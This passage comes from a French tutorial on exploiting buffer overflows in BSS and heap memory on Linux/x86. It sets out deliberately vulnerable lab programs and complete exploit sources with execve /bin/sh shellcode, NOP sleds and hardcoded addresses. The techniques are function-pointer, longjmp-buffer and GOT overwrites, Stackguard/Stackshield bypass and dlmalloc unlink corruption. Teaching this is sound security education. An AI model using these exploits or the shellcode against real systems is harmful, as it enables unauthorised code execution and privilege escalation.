  2937. 18 *((int *) (heap_buf + HEAP_LEN + 4)) = (int) 0xffffffff;
  2938. 19 *((int *) (heap_buf + HEAP_LEN + 8)) = (int) 0;
  2939. 20
  2940. 21 env = (char **) malloc(sizeof(char *));
  2941. 22 env[0] = 0;
  2942. 23
  2943. 24 arg = (char **) malloc(sizeof(char *) * 4);
  2944. 25 arg[0] = (char *) malloc(strlen(PROG) + 1);
  2945. 26 arg[1] = (char *) malloc(strlen(heap_buf) + 1);
  2946. 27 arg[2] = (char *) malloc(strlen(eggshell) + 1);
  2947. 28 arg[3] = 0;
  2948. 29
  2949. 30 strcpy(arg[0], PROG);
  2950. 31 strcpy(arg[1], heap_buf);
  2951. 32 strcpy(arg[2], eggshell);
  2952. 33
  2953. 34 if (argc > 1) {
  2954. 35 fprintf(stderr, "Using argv %x\n", argv);
  2955. 36 execve("./vuln11", arg, env);
  2956. 37 } else {
  2957. 38 execve(argv[0], arg, env);
  2958. 39 }
  2959. 40 }
  2960. Nous utilisons execve() avec un environnement composé d’un environnement vide
  2961. dans le seul but de déterminer plus facilement l’adresse argv. L’exploit se charge ainsi
  2962. de construire notre payload et la structure argv adéquate.
  2963. [ouah@jenna]-(18:34:44) # ./ex13
  2964. Using argv bfbffdb4
  2965. $
  2966. Dans cette section 10.2, nous avons voulu montré deux choses. Premièrement que
  2967. malgré qu’un programme semble inexploitable, certaines conditions, ici le fait qu’il
  2968. soit compilé en static, peuvent radicalement changer la situation. Cet exemple est
  2969. aussi un prétexte pour présenter une nouvelle méthode pour modifier le flux
  2970. d’exécution d’un programme : les structures atexit. Si dans ce présent il a fallu feinter
  2971. pour modifier cettre structure atexit, plusieurs situations de buffer overflow qui
  2972. permettent de modifier des bytes à l’endroit voulu (exemple : modifier uniquement
  2973. une adresse de fns[]) rende l’usage facile des structures atexit pour un exploit.
  2974. Cette méthode ne fonctionne néanmois que si le programme est compilé en static.
  2975. Faut-il en conclure, qu’un buffer overflow en bss est inexploitable avec une
  2976. compilation normale? En réalité, un programme vulnérable aussi minimal que celui de
  2977. notre exemple a peu de chances d’exister. Ce programme-ci n’est pas exploitable,
  2978. mais les programmes avec un buffer vulnérable en bss sont quand même
  2979. généralement exploitables grâce à la proximité en mémoire d’autres variables
  2980. importantes. Plusieurs exemples seront données dans les sections qui suivent.
  2981. 10.3 Pointeurs de fonctions
  2982. 73/92
  2983. Les pointeurs de fonctions sont des variables qui contiennent l’adresse mémoire du
  2984. début d’une fonction. On déclare un pointeur de fonction de cette manière :
  2985. type_fonction (*nom_variable)(paramètres_de_la_fonction);
  2986. Nous allons donner un exemple simple de programme vulnérable où, à cause du
  2987. buffer overflow, le pointeur de fonction peut être écrasé.
  2988. 1 #include <stdio.h>
  2989. 2 #include <string.h>
  2990. 3
  2991. 4 void foo()
  2992. 5 {
  2993. 6 printf("La fonction foo a été exécutée\n");
  2994. 7 }
  2995. 8
  2996. 9 main (int argc, char *argv[])
  2997. 10 {
  2998. 11 static char buf[32];
  2999. 12 static void(*funcptr)();
  3000. 13
  3001. 14 funcptr=(void (*)())foo;
  3002. 15
  3003. 16 if (argc < 2) exit(-1);
  3004. 17
  3005. 18 strcpy(buf, argv[1]);
  3006. 19 (void)(*funcptr)();
  3007. 20
  3008. 21 }
  3009. Notre programme vulnérable copie donc argv[1] dans un buffer en BSS puis exécute
  3010. la fonction foo() en utilisant un pointeur de fonction. A la ligne 12, on définit le
  3011. pointeur de fonction qui pointera sur la fonction foo()..
  3012. ouah@weed:~/heap2$ ./vuln12 AAAAAAA
  3013. La fonction foo a été exécutée
  3014. Quand, on lance normalement le programme, la fonction foo() est exécutée.
  3015. Overflowons maintenant le buffer vulnérable afin d’écraser le pointeur de fonction.
  3016. ouah@weed:~/heap2$ ./vuln12 `perl -e 'print "A"x36'`
  3017. Segmentation fault (core dumped)
  3018. ouah@weed:~/heap2$ gdb -c core -q
  3019. Core was generated by `./vuln12
  3020. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
  3021. Program terminated with signal 11, Segmentation fault.
  3022. #0 0x41414141 in ?? ()
  3023. Le pointeur de fonction est ainsi écrasé par la va leur « AAAA » et donc au lieu
  3024. d’appeller la fonction foo() où le pointeur de fonction pointait, on saute directement à
  3025. l’adresse 0x41414141. Il est ainsi très aisé de modifier le registre Instruction Pointer
  3026. %eip dans ce genre de situations.
  3027. Voici l’exploit pour le programme vulnérable :
  3028. 74/92
  3029. 1 /*
  3030. 2 * function ptr exploit
  3031. 3 * Usage: ./ex1 [OFFSET]
  3032. 4 * for vuln12.c by OUAH (c) 2002
  3033. 5 * ex14.c
  3034. 6 */
  3035. 7
  3036. 8 #include <stdio.h>
  3037. 9 #include <stdlib.h>
  3038. 10
  3039. 11 #define PATH "./vuln12"
  3040. 12 #define BUF_SIZE 64
  3041. 13 #define DEFAULT_OFFSET 0
  3042. 14 #define NOP 0x90
  3043. 15 #define BSS 0x8049660
  3044. 16
  3045. 17 main(int argc, char **argv)
  3046. 18 {
  3047. 19
  3048. 20
  3049. 21 char sc[]=
  3050. 22 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
  3051. 23 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  3052. 24
  3053. 25 char buff[BUF_SIZE+4];
  3054. 26 char *ptr;
  3055. 27 unsigned long *addr_ptr, ret;
  3056. 28
  3057. 29 int i;
  3058. 30 int offset = DEFAULT_OFFSET;
  3059. 31
  3060. 32 ptr = buff;
  3061. 33
  3062. 34 if (argc > 1) offset = atoi(argv[1]);
  3063. 35 ret = BSS + offset;
  3064. 36
  3065. 37 memset(ptr, NOP, BUF_SIZE-strlen(sc));
  3066. 38 ptr += BUF_SIZE-strlen(sc);
  3067. 39
  3068. 40 for(i=0;i < strlen(sc);i++)
  3069. 41 *(ptr++) = sc[i];
  3070. 42
  3071. 43 addr_ptr = (long *)ptr;
  3072. 44 *(addr_ptr++) = ret;
  3073. 45 ptr = (char *)addr_ptr;
  3074. 46 *ptr = 0;
  3075. 47
  3076. 48 printf ("Jumping to: 0x%x\n", ret);
  3077. 49 execl(PATH, "vuln12", buff, NULL);
  3078. 50 }
  3079. Nous plaçon notre shellcode précédé de NOPs au début du buffer. Nous utilisons des
  3080. NOPs car le buffer en bss ne commence pas au tout début de la section bss de notre
  3081. programme. Le shellcode est exécuté dans le buffer ce qui ne pose pas de problèmes
  3082. car sous Linux/x86, les zones du bss, du heap ou de data sont writeable et exécutables,
  3083. Le define BSS du début de l’exploit doit donc être modifié par l’adresse de la section
  3084. BSS.
  3085. 75/92
  3086. ouah@weed:~/heap2$ size -A -x vuln12 | grep ^.bss
  3087. .bss 0x80 0x8049660
  3088. Ensuite, on sait que notre buffer se trouve environ au milieu de la section BSS qui a
  3089. pour taille 0x80. On utilisera donc un offset aux alentours de 0x40 pour tomber à un
  3090. endroit dans les NOPs.
  3091. ouah@weed:~/heap2$ ./ex14 60
  3092. Jumping to: 0x804969c
  3093. sh-2.05$
  3094. Le programme est exploité dès que la fonction est appelé via son pointeur de fonction.
  3095. Nous avons dans notre exemple volontairement utilisé une fonction simple, c’est-à-
  3096. dire sans arguments et sans valeur de retour, mais dans le cas d’une fonction foo() qui
  3097. aurait été plus chargé, l’exploitation est analogue.
  3098. Ces pointeurs de fonctions peuvent être alloués n’importe où : dans la pile, dans la
  3099. heap, en bss ou en data.
  3100. Un exemple de ce type d’exploitation se retrouve dans un buffer overflow qui était
  3101. présent dans le programme superprobe. Il possédait un stack overflow qui n’était pas
  3102. exploitable en écrasant %eip sauvegardé sur la pile, car entre le buffer et %eip se
  3103. trouvaient des variables qui si elles étaient modifiées, amenaient le programme
  3104. crasher. Le programme était par néanmoins exploitable, grâce à la présence justement
  3105. d’un pointeur de fonction sur la pile.
  3106. 10.4 Longjmp buffers
  3107. Les deux fonctions setjmp() et longjmp() permettent de faire des branchements
  3108. (GOTO) non-locaux (hors-fonctions)dans un programme. La fonction setjmp()
  3109. mémorise l'état du programme, et la fonction longjmp() force l'état du programme à
  3110. état précédemment mémorisé. Ces fonctions sont utiles dans la gestion des erreurs et
  3111. des interruptions rencontrées dans des routines de bas-niveau. Si un attaquant peu
  3112. écraser le longjmp buffer, au rappel de la fonction longjmp() il peut alors faire
  3113. exécuter son propre code au programme.
  3114. Notre programme vulnérable contient un buffer overflow et utilise un longjmp buffer.
  3115. 1 #include <string.h>
  3116. 2 #include <setjmp.h>
  3117. 3
  3118. 4 static char buf[64];
  3119. 5 jmp_buf jmpbuf;
  3120. 6
  3121. 7 main(int argc, char **argv)
  3122. 8 {
  3123. 9 if (argc <= 1) exit(-1);
  3124. 10
  3125. 11 if (setjmp(jmpbuf)) exit(-1);
  3126. 12
  3127. 13 strcpy(buf, argv[1]);
  3128. 14
  3129. 76/92
  3130. 15 longjmp(jmpbuf, 1);
  3131. 16 }
  3132. La structure jmp_buf comporte plusieurs champs pour sauvegarder le contexte de la
  3133. pile et de l’environnement. Les registres %ebx, %esi,%edi, %ebp , %esp et %eip sont
  3134. notamment sauvés à la suite dans la structure jmp_buf. Le champ pc du buffer
  3135. ( jmpbuf->__pc) c indique la valeur du Program Counter (c’est-à-dire l’Instruction
  3136. Pointer) et se situe à jmpbuf+20. Ainsi en modifiant la valeur de ce champ par une
  3137. adresse de notre choix nous sommes capables de faire exécuter le code que l’on veut
  3138. on programme vulnérable. Vérifions-cela :
  3139. ouah@weed:~/heap2$ ./vuln13 `perl -e 'print "B"x(64+20)'`AAAA
  3140. Segmentation fault (core dumped)
  3141. ouah@weed:~/heap2$ gdb -c core -q
  3142. Core was generated by `./vuln13
  3143. BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
  3144. BBB'.
  3145. Program terminated with signal 11, Segmentation fault.
  3146. #0 0x41414141 in ?? ()
  3147. L’exploitation semble donc très proche du programme vulnérable de la section
  3148. précédente. Nous mettons quand même l’exploit ici car il y a une petite subtilité
  3149. supplémentaire qui empêche l’exploitation si on n’y prend pas garde. Voici donc
  3150. l’exploit :
  3151. 1 /*
  3152. 2 * longjmp buffer exploit
  3153. 3 * Usage: ./ex1 [OFFSET]
  3154. 4 * for vuln1.c by OUAH (c) 2002
  3155. 5 * ex1.c
  3156. 6 */
  3157. 7
  3158. 8 #include <stdio.h>
  3159. 9 #include <stdlib.h>
  3160. 10
  3161. 11 #define PATH "./vuln13"
  3162. 12 #define BUF_SIZE 64
  3163. 13 #define DEFAULT_OFFSET 0
  3164. 14 #define NOP 0x90
  3165. 15 #define BSS 0x8049660
  3166. 16
  3167. 17 main(int argc, char **argv)
  3168. 18 {
  3169. 19
  3170. 20
  3171. 21 char sc[]=
  3172. 22 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
  3173. 23 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  3174. 24
  3175. 25 char buff[BUF_SIZE+20+4+1];
  3176. 26 char *ptr;
  3177. 27 unsigned long *addr_ptr, ret;
  3178. 28
  3179. 29 int i;
  3180. 30 int offset = DEFAULT_OFFSET;
  3181. 31
  3182. 32 ptr = buff;
  3183. 77/92
  3184. 33
  3185. 34 if (argc > 1) offset = atoi(argv[1]);
  3186. 35 ret = BSS + offset;
  3187. 36
  3188. 37 memset(ptr, NOP, (BUF_SIZE+20-4)-strlen(sc));
  3189. 38 ptr += (BUF_SIZE+20-4)-strlen(sc);
  3190. 39
  3191. 40 for(i=0;i < strlen(sc);i++)
  3192. 41 *(ptr++) = sc[i];
  3193. 42
  3194. 43 addr_ptr = (long *)ptr;
  3195. 44 *(addr_ptr++) = 0xbfffaaaa;
  3196. 45 *(addr_ptr++) = ret;
  3197. 46 ptr = (char *)addr_ptr;
  3198. 47 *ptr = 0;
  3199. 48
  3200. 49 printf ("Jumping to: 0x%x\n", ret);
  3201. 50 execl(PATH, "vuln13", buff, NULL);
  3202. 51 }
  3203. Comme à la section précédente nous devons déterminer l’adresse de la section BSS
  3204. pour fixer l’exploit et prende un offset qui correspond environ à la moitié de la taille
  3205. de la section BSS.
  3206. La subtilité ici est que nous rajoutons à la ligne 44, une adresse située dans la pile,
  3207. entre le shellcode et l’adresse à écraser du longjmp buffer. En effet, sans faire cela les
  3208. 4 derniers bytes du shellcode ( "xb0\x0b\xcd\x80" ) se retrouveraient dans le champ
  3209. jmpbuf->__sp du longjmp buffer, qui est la sauvegarde du pointeur de pile. Ainsi,
  3210. dès l’exécution de la fonction longjmp(), le shellcode serait exécuté et le registre
  3211. %esp prendrait sa valeur auparavant sauvegardée (soit 0x80cd0bb0 les 4 derniers
  3212. bytes du shellcode). Or la deuxième instruction assembleur de notre shellcode est
  3213. pushl %eax (le \x50 du shellcode). Le processeurs va vouloir mettre le registres
  3214. %eax sur la pile mais l’adresse du sommet de la pile (0x80cd0bb0) n’appartient pas à
  3215. l’espace d’adresses du processus ce qui provoquerait un segfault. Nous mettons donc
  3216. l’adresse 0xbfffaaaa dans le champ jmpbuf->__sp du pour être sur que le
  3217. shellcode pour empiler des valeurs sur la pile.
  3218. Plusieurs exploits utilisent cette technique pour exploiter un programme vulnérable :
  3219. par exemple l’exploit de Peak contre sperl v5.003 (qui contenait une buffer overflow
  3220. en BSS aussi). Le remote exploit du groupe TESO contre wu-ftpd 2.5.0 (bug
  3221. MAPPING_CHDIR) écrasait aussi un jmp buffer pour reridiriger l’exécution du
  3222. programme.
  3223. 10.5 Ecrasement de pointeur et GOT
  3224. Nous allons voir dans cet exemple comment la présence d’un pointeur en mémoire
  3225. rend l’exploitation du programmation suivant possible.
  3226. Voici notre programme vulnérable :
  3227. 1 #include <string.h>
  3228. 2 #include <stdio.h>
  3229. 3
  3230. 4 main (int argc, char *argv[])
  3231. 78/92
  3232. 5 {
  3233. 6 static char buffer1[16];
  3234. 7 static char buffer2[16];
  3235. 8 static char *ptr;
  3236. 9
  3237. 10 ptr = buffer2;
  3238. 11
  3239. 12 if (argc < 3) exit(-1);
  3240. 13
  3241. 14 strcpy(buffer1, argv[1]);
  3242. 15 strcpy(ptr, argv[2]);
  3243. 16 printf("%s\n", buffer2);
  3244. 17 }
  3245. Ce programme argv[1] dans buffer1 et argv[2] dans buffer2 via le pointeur ptr puis
  3246. affiche le contenu du buffer 2.
  3247. ouah@weed:~/heap2$ ./vuln14 AAAA BBBB
  3248. BBBB
  3249. ouah@weed:~/heap2$
  3250. Il y a dans ce programme un buffer overflow à la ligne 14 dans un buffer en BSS. Ce
  3251. overflow nous permet d’écraser le pointeur ptr qui est ensuite utilisé dans le deuxième
  3252. strcpy() de la ligne 15. En écrasant ce pointeur, nous pouvons ainsi modifier la
  3253. destination où a lieu la copie de argv[2]. Nous savons déjà que ce programme est
  3254. exploitable, car il nous est ainsi possible d’écraser la section DTORS du programme
  3255. ou la structure atexit pour faire exécuter un shellcode.
  3256. Le plus gros désavantage d’écraser l’une ou l’autre de ces structures est que notre
  3257. shellcode n’est pas exécuté avant la fin du programme vulnérable, ce qui, dans le
  3258. cadre de certains gros programme peut mettre en péril leur exploitation car on est pas
  3259. certain que le shellcode reste intacte depuis son injection jusqu’à la fin du programme.
  3260. Pour résoudre ce problème, on peut soit stocker le shellcode dans un endroit sûr, ce
  3261. qui peut s’avérer difficile dans certains cas ou utiliser une méthode qui exécute le
  3262. shellcode peu d’instructions après le débordement. Nous pourrions encore écraser la
  3263. valeur de retour de la fonction main() et obtenir la main sur le programme dès la sortie
  3264. de la fonction contenant le buffer vulnérable, mais comme nous le savons déjà cela
  3265. pas n’est pas très fiable car l’adresse où elle est située dépend de la quantité de donnée
  3266. qui a été pushé sur la pile.
  3267. Nous avons au chapitre « ELF dynamic linking » le rôle de la PLT (Procedure
  3268. Linkage Table) et de la GOT (Global Offset Table) pour la résolution de l’adresse en
  3269. libraire d’une fonction. L ‘idée ici est d’écraser la GOT de la prochaine fonction
  3270. appelée après le débordement par l’adresse de notre shellcode. Ainsi quand cette
  3271. fonction sera appelée, au lieu de sauter à l’adresse auparavant présente en librairie, le
  3272. programme sautera à l’adresse que nous avons placée. Pour notre exploit, nous
  3273. écrasons la GOT de printf() par l’adresse d’un shellcode en mémoire ainsi dès que la
  3274. fonction printf() est appelée, notre shellcode est exécuté.
  3275. Voici le code de notre exploit :
  3276. 1 /*
  3277. 2 * GOT exploit
  3278. 3 * Usage: ./ex16
  3279. 4 * for vuln14.c by OUAH (c) 2002
  3280. 79/92
  3281. 5 * ex16.c
  3282. 6 */
  3283. 7
  3284. 8 #include <stdio.h>
  3285. 9 #include <stdlib.h>
  3286. 10
  3287. 11 #define PATH "./vuln14"
  3288. 12 #define BUF_SIZE 32
  3289. 13 #define BUFF_ADDR 0x8049624
  3290. 14 #define GOT_PRINTF 0x804955c
  3291. 15
  3292. 16 main(int argc, char **argv)
  3293. 17 {
  3294. 18
  3295. 19 char sc[]=
  3296. 20 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
  3297. 21 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  3298. 22
  3299. 23 char buff[BUF_SIZE+1];
  3300. 24 char buff2[5];
  3301. 25 char *ptr;
  3302. 26 unsigned long *addr_ptr;
  3303. 27
  3304. 28 int i;
  3305. 29
  3306. 30 ptr = buff;
  3307. 31
  3308. 32 *(long *)&buff2[0]=BUFF_ADDR;
  3309. 33
  3310. 34 memset(ptr, 0x90, BUF_SIZE-strlen(sc));
  3311. 35 ptr += BUF_SIZE-strlen(sc);
  3312. 36
  3313. 37 for(i=0;i < strlen(sc);i++)
  3314. 38 *(ptr++) = sc[i];
  3315. 39
  3316. 40 addr_ptr = (long *)ptr;
  3317. 41 *(addr_ptr++) = GOT_PRINTF;
  3318. 42 ptr = (char *)addr_ptr;
  3319. 43 *ptr = 0;
  3320. 44
  3321. 45 execl(PATH, "vuln14", buff, buff2, NULL);
  3322. 46 }
  3323. L’argument 1 du programme vulnérable contient le shellcode puis l’adresse de la
  3324. GOT de printf() tandis que l’argument 2 contient uniquement l’adresse du début du
  3325. shellcode. Nous n’avons plus qu’à trouver ces deux adresses afin de fixer l’exploit.
  3326. La GOT de printf() est déterminée ainsi :
  3327. ouah@weed:~/heap2$ objdump -R vuln14 | grep printf
  3328. 000000000804955c R_386_JUMP_SLOT printf
  3329. L ‘adresse du début de buffer (on a mis des NOPs avant le shellcode) est trouvée
  3330. aisément au moyen de gdb par exemple.
  3331. ouah@weed:~/heap2$ ./ex16
  3332. sh-2.05$
  3333. 80/92
  3334. L ‘exploit fonctionne donc parfaitement.
  3335. 10.5.1 Les protections Stackguard et Stackshield
  3336. Cet exemple nous a montré l’utilité de la GOT pour détourner ce programme. Bien
  3337. que la probabilité d’un tel code vulnérable soit rare, nous avons vu utilisé ce
  3338. programme vulnérable aussi, car un même code avec des variables en pile contourne
  3339. la protection offerte par les logiciels Stackguard et Stackshield.
  3340. Stackguard est un compilateur dont l’objectif est d’empêcher l’exploitation des
  3341. buffers overflows qui ont lieu dans la pile. Pour parvenir à ce but, il place dans la pile
  3342. un canary qui est une valeur 32 bits aléatoire, entre le frame pointer et les variables
  3343. locales de la fonction. Si à la sortie d’une fonction le canary a été modifié, Stackguard
  3344. juge qu’il y a eu buffer overflow et arrête le programme. Jusqu’à récemment encore,
  3345. Stackguard ne protégeait pas efficacement contre les stacks overflow car le canary
  3346. était placé entre le frame pointeur et l’adresse de retour sur la pile. Ceci ne protégeait
  3347. pas le frame pointer et dans certains cas, en écrasant le frame pointer, il était quand
  3348. même possible d’exploiter le programme malgré qu’il ait été compilé avec
  3349. Stackguard.
  3350. Avec un programme vulnérable semblable à celui de la section 10.5 mais avec des
  3351. variables automatiques (définies en piles) pour satisfaire les conditions annoncées par
  3352. Stackguard, le même exploit que celui avec la GOT exécute le shellcode sans que
  3353. Stackguard ne remarque quoique ce soit (en effet le canary ne serait pas modifié, car
  3354. ni le frame pointer, ni l’adresse de retour ne sont écrasés dans cet exploit).
  3355. Il existe un autre système de protection, Stackshield qui est un compilateur dont le but
  3356. est aussi de prévenir les stack overflow. Sa technique est de sauver une copie
  3357. supplémentaire de l’adresse de retour d’une fonction dans un endroit inaccessible en
  3358. écriture. Au retour d’une fonction, ces deux adresses sont ainsi comparées pour savoir
  3359. s’il y a eu un buffer overflow en arrêtant l’exécution du programme. Un programme
  3360. comme celui discuté plus haut est encore vulnérable même s’il a été compilé avec le
  3361. système Stackshield, pour les mêmes raisons que celle de Stackguard. En, effet là
  3362. encore notre exploit ne modifie pas l’adresse de retour de la fonction donc n’alerte pas
  3363. Stackshield.
  3364. Cela est cependant un exemple vulnérable particulier, pour beaucoup de stack
  3365. overflows, le compilateur Stackguard peut rendre la tâche impossible à un attaquant
  3366. qui voudrait les exploiter. Par contre, Stackguard devient complètement sans
  3367. efficacité quand les overflows ont lieu ailleurs que dans la pile. Stackshield quand à
  3368. lui, en ne protegeant que l’adresse de retour est toujours vulnérable aux méthodes
  3369. d’écrasement du frame pointer pour exploiter les stack overflows.
  3370. 10.6 Autres variables potentiellement intéressantes à écraser
  3371. Dans les chapitres précédents, nous avons montré plusieurs situations où le
  3372. programme était exploitable grâce la présence de certaines variables proches du buffer
  3373. vulnérable. Par exemple, grâce à la proximité du buffer vulnbérable d’un longjmp
  3374. buffer ou d’un pointeur de fonction.
  3375. 81/92
  3376. Il existe d’autre variables intéressantes qui si elles sont présentes en mémoire
  3377. permettent aussi l’exploitation d’un heap overflow. Voici une liste non-exhaustive de
  3378. variables ou de structures, qui pourraient aussi être intéressantes écraser en plus de
  3379. celles que l’on a vu précédemment.
  3380. - signal handlers
  3381. - structures de passwd
  3382. - sauvegardes d’uid_t
  3383. - données allouées en heap par les fonctions strdup(), getenv(), tmpnam()
  3384. - pointeurs de fichier (FILE *) dans la heap
  3385. - pointeur de fonctions de retour des programmes rpc
  3386. Nous pouvons par exemple, si la vulbnérabilité le permet, modifier un pointeur de
  3387. fichier pour le faire pointer sur /etc/passwd , /etc/inetd.conf ou /root/.rhosts et dans
  3388. certains cas écrire ainsi les données de notre choix dans ces fichiers.
  3389. L’exploit contre le programme crontab, qui contenait sur BSDI un heap overflow,
  3390. écrasait une structure de mot de passe (contenant username, password, uid, gid…). En
  3391. modifiant, le uid et gid à 0 de cette structure, l’exploitait permettait ainsi d’exécuter
  3392. n’importe quel programme via un crontab avec les droits root.
  3393. 10.7 Malloc() chunk corruption
  3394. La technique que nous allons décrire dans cette section est actuellement la technique
  3395. la plus puissante pour exploiter des buffer overflow qui ont lieu lieu dans le heap
  3396. (soit des buffers mallocé) ou dans d’autres endroits mémoires où le heap peut être
  3397. écrasé par débordement. Cette technique se base sur la façon doit sont alloués puis
  3398. libérés les buffers en heap.
  3399. Afin de comprendre et d’utiliser cette technique il est nécessaire de comprendre
  3400. certains éléments du fonctionnement des fonctions malloc() et free(). Nous
  3401. présenterons ici l’implémentation de ces fonctions dans la glibc (GNU C Library)
  3402. utilisée par Linux. Cette implémentation est celle de Doug Lea et nous l’appellerons
  3403. ici dlmalloc.
  3404. 10.7.1 Doug Lea Malloc
  3405. Avec malloc, le heap est divisé en plusieurs chunks contigus en mémoire. Quand un
  3406. programmeur appelle malloc() pour allouer de la mémoire, malloc() place un boudary
  3407. tags avant l’espace mémoire alloué et l’union des forme un chunk. Les chunks sont
  3408. alignés sur 8 bytes. Ainsi un utilisateur peut recevoir plus de mémoire qu’il n’en a
  3409. demandé car les chunks ont des tailles multiples de 8.
  3410. La structure suivante définit le boudary tag placé au début de chaque chunk :
  3411. #define INTERNAL_SIZE_T size_t
  3412. struct malloc_chunk {
  3413. 82/92
  3414. INTERNAL_SIZE_T prev_size;
  3415. INTERNAL_SIZE_T size;
  3416. struct malloc_chunk * fd;
  3417. struct malloc_chunk * bk;
  3418. };
  3419. Elle commence donc le chunk. Ses champs sont utilisés de manière différente selon
  3420. que le chunk associé est libre ou non, et que le chunk précédent est libre ou non. Voici
  3421. à quoi correspondent ces champs :
  3422. - prev_size : taille en byte du chunk précédent s’il est libre. Si le chunk
  3423. précédent est alloué, ce champ est inutilisé
  3424. - size : taille en bytes du chunk (contient aussi 2 bits d’information).
  3425. - fd : pointeur sur le prochain chunk (fd pour forward)
  3426. - bk : pointeur sur le précédent chunk (bk pour back)
  3427. Les pointeurs fd et bk font donc partie d’une double liste chaînée circulaire, et ne
  3428. représentent donc pas forcément les chunks suivants/précédents physiquement. Si le
  3429. chunk est alloué, ces deux champs sont inutilisés et ainsi l’adresse retournée par
  3430. malloc() pointe donc directement après le champ size.
  3431. Nous avons spécifié aussi que dans le champ size il y a 2 bits d’informations. Comme
  3432. la taille d’un chunk est multiple de 8, cela nous laisse les 3 bits de poids faible de
  3433. libres pour ces informations. Le bit 1 (PREV_INUSE) indique si le chunk situé
  3434. physiquement avant est alloué ou non, si c’est le cas le champ prev_size est inutilisé
  3435. est peu contenir des données.
  3436. Les chunks de libres sont groupés ensemble selon leur taille, par exemple un groupe
  3437. de tous les chunks de taille entre 1472 et 1536 bytes. Il y a ainsi 128 groupes
  3438. différents et une double liste chaînée circulaire (les champs fd et bk) pour chacun de
  3439. ces groupes. De plus dans chacun de ces groupes les chunks sont ordonnées selon
  3440. l’ordre décroissant de leur taille. Chaque groupe est caractérisée par ce que Doug Lea
  3441. appelle un bin, qui est constitué d’une paire de pointeur fd et bk. Un bin sert donc de
  3442. tête à chaque double liste chaînée. Le pointeur fd d’un bin pointe ainsi sur le premier
  3443. chunk (le plus grand) du groupe tandis que le pointeur bk pointe sur le dernier chunk
  3444. (le plus petit) du groupe.
  3445. 10.7.2 La macro unlink()
  3446. Nous ne décrirons pas tous les algorithmes qui sont nécessaires au fonctionnement de
  3447. malloc() et de free() mais nous donnerons les indications pour comprendre comment
  3448. va se passer l’exploitation. Expliquons ici le fonctionnement de la macro unlink() de
  3449. dlmalloc. Cette macro est utilisée dans malloc() pour un extraire un chunk de la liste
  3450. des chunks libres s’il correspond à la taille de l’espace mémoire demandé. Elle est
  3451. notamment aussi utilisé dans plusieurs cas par la fonction free() pour l’organisation de
  3452. certains chunks. Par free() vérifie si un chunk adjacent à celui qui doit être libéré est
  3453. utilisé et, si non, consolide les deux chunk en unlinkant() les chunk adjacents de la
  3454. liste.
  3455. Pour sortir un chunk libre p de sa double liste chaînée, dlmalloc doit remplacer le
  3456. pointeur bk du chunk suivant p dans la liste par un pointeur sur le chunk précédent p
  3457. 83/92
  3458. dans la liste. De même, dlmalloc doit remplacer le pointeur fd du chunk précédent p
  3459. dans la liste par un pointeur sur le chunk suivant p dans la liste. Cette opération
  3460. nommée unlink, est effectuée par la macro suivante :
  3461. #define unlink( P, BK, FD ) { \
  3462. BK = P->bk; \
  3463. FD = P->fd; \
  3464. FD->bk = BK; \
  3465. BK->fd = FD; \
  3466. }
  3467. Pour ajouter un nouveau chunk dans la double liste chaînée d’un groupe (on se
  3468. rappelle que dans un groupe les chunks sont classés selon leur taille), il existe aussi
  3469. une macro, nommé frontlink.
  3470. Ces deux macros internes de dlmalloc, unlink() et frontlink(), peuvent être abusées si
  3471. l’on donne à dlmalloc des chunk spécialement mal-formées. Nous allons voir ici
  3472. comment utiliser la technique liée à unlink() pour exploiter notre prochain programme
  3473. vulnérable.
  3474. 10.7.3 Le programme vulnérable
  3475. Voici notre programme vulnérable :
  3476. 1 #include <stdlib.h>
  3477. 2 #include <string.h>
  3478. 3
  3479. 4 int main( int argc, char * argv[] )
  3480. 5 {
  3481. 6 char * first, * second;
  3482. 7
  3483. 8 first = malloc( 666 );
  3484. 9 second = malloc( 12 );
  3485. 10 strcpy( first, argv[1] );
  3486. 11 free( first );
  3487. 12 free( second );
  3488. 13 return( 0 );
  3489. 14 }
  3490. Notre programme vulnérable a donc un buffer overflow dans le buffer first, situé dans
  3491. la heap, car il ne teste pas la taille de argv[1] lors de la copie dans first à la ligne 10.
  3492. 10.7.4 Exploitation avec unlink()
  3493. En manipulant, les champs des chunks avec attention, il est possible pour l’attaquant
  3494. de tromper free() et d’ainsi pouvoir écrire un integer de son choix à n’importe quel
  3495. endroit en mémoire. Le but est, en fabriquant un faux chunk, d’utiliser les deux
  3496. dernières lignes de la macro unlink() qui effectuent une écriture, pour écrire n’importe
  3497. où en mémoire.
  3498. L’attaquant place l’adresse –12 d’un integer qu’il veut écraser en mémoire dans le
  3499. pointeur FD du fake chunk et une valeur pour l’écrasement dans le pointeur BK du
  3500. 84/92
  3501. fake chunk. Depuis là, la macro unlink(), quand elle tentera d’extraire ce fake chunk
  3502. de son imaginaire double liste chaînée, écrira (grâce à la commande FD->bk = BK;
  3503. de la macro unlink())la valeur stockée dans BK à l’adresse du pointeur FD +12.
  3504. Or nous savons depuis les sections précédentes, que si nous pouvons écraser un seul
  3505. byte de notre choix en mémoire par une valeur de notre choix nous pouvons alors
  3506. rediriger l’exécution de notre programme à notre guise (exemple avec l’écrasement de
  3507. la section DTORS, des structures atexit() ou de la GOT d’une fonction).
  3508. Il faut toutefois remarquer, si nous voulons placer le shellcode en début du buffer,
  3509. qu’avec la commande BK->fd = FD; de la macro unlink(), qu’un entier situé à BK + 8
  3510. sera écrasé par le pointeur FD.
  3511. Dans notre programme vulnérable, le buffer overflow dans le buffer first, nous permet
  3512. donc d’écraser le boundary tag du chunk de second car ce boundary tag est adjacent
  3513. au chunk de first. L’espace mémoire réservé au programme pour le first = malloc(
  3514. 666 ); contient aussi le champ prev_size de ce boundary tag. Pour trouver la taille
  3515. mémoire à donner pour l’espace mémoire demandé, malloc() utilise la macro
  3516. request2size() pour trouver la prochaine taille multiple de 8 plus grande ou égale. Ici
  3517. request2size(666) renvoie donc 672 et si on ne comptabilise pas le champ prev_size
  3518. mis à disposition on a donc un espace de 668 (672-4) bytes.
